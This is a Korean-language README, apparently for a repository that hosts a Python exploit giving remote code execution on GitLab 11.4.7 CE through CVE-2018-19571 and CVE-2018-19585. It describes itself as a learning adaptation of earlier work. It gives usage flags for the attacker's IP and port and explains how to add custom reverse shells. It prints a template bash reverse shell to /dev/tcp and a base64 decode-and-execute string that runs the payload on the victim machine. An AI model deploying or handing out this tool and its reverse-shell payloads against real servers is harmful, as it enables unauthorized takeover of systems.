
GitLab 11.4.7 RCE 익스플로잇, 다양한 리버스 셸 포함. CVE-2018-19571 + CVE-2018-19585
GitLab 11.4.7 CE RCE 익스플로잇 - 다양한 리버스 쉘 지원. CVE-2018-19571: https://nvd.nist.gov/vuln/detail/CVE-2018-19571 CVE-2018-19585: https://nvd.nist.gov/vuln/detail/CVE-2018-19585
학습 및 연습 목적으로 Sam Redmond and Tam Lai Yin의 버전을 수정한 것입니다.
모든 것이 그래야 하듯 Python3로 작성되었습니다.
의존성:
pip3 install requests
사용법:
python3 rce_script.py -u <username> -p <password> -g <url:port> -l <local ip> -P <local port> [<shell lang>]
기본적으로 -e 옵션이 있는 netcat 쉘이 사용됩니다.
현재 내장된 쉘:
일부 쉘에는 요청 인코딩과 호환되지 않는 문자가 포함되어 있습니다. 따라서 Base64로 인코딩된 후 피해자 머신에서 디코딩되어 실행됩니다.
자신의 쉘을 추가하려면 payloads_dict 구조체에 값을 추가하세요.
다음을 정의해야 합니다:
'bash': {
# If the raw_payload can be executed withoud encoding
'safe': False,
# Payload, must contain the references for the local_ip and for the local_port
'raw_payload': 'bash -i >& /dev/tcp/{local_ip}/{local_port} 0>&1',
# How to execute the payload if safe is False. Must conatin the reference for payload
'exec_string': 'echo {payload} | base64 -d | /bin/bash'
}
HTML 구문 분석이 하드코딩되어 있어 쉽게 깨질 수 있습니다.